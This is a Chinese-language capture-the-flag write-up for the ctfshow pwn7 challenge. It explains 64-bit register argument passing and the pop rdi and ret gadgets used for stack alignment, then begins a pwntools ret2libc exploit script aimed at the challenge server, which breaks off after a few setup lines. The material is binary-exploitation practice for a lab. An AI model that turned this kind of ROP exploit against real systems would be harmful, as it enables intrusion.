ctfshow pwn7

checksec

64位nx保护思路基本和pwn3是一样的

64位程序是需要栈平衡的

而且64位程序只有在前六个寄存器用完了才会用栈传参

我们可以通过ropgaget来找到我们需要的

为什么要用pop_rdi呢

因为六十四位程序中

%rdi,%rsi,%rdx,%rcx,%r8,%r9 用作函数参数,依次对应第1参数,第2参数。。。

system函数和puts函数都只有一个参数

ret是用来栈平衡的

于是我们可以构造exp:(或者直接套模板改一下就得了)

exp:

from pwn import*
from LibcSearcher import LibcSearcher
context(arch='amd64',os='linux',log_level='debug')
io=remote('pwn.challenge.ctf.show',28081)
elf=ELF('./pwn07')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']
pop_

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值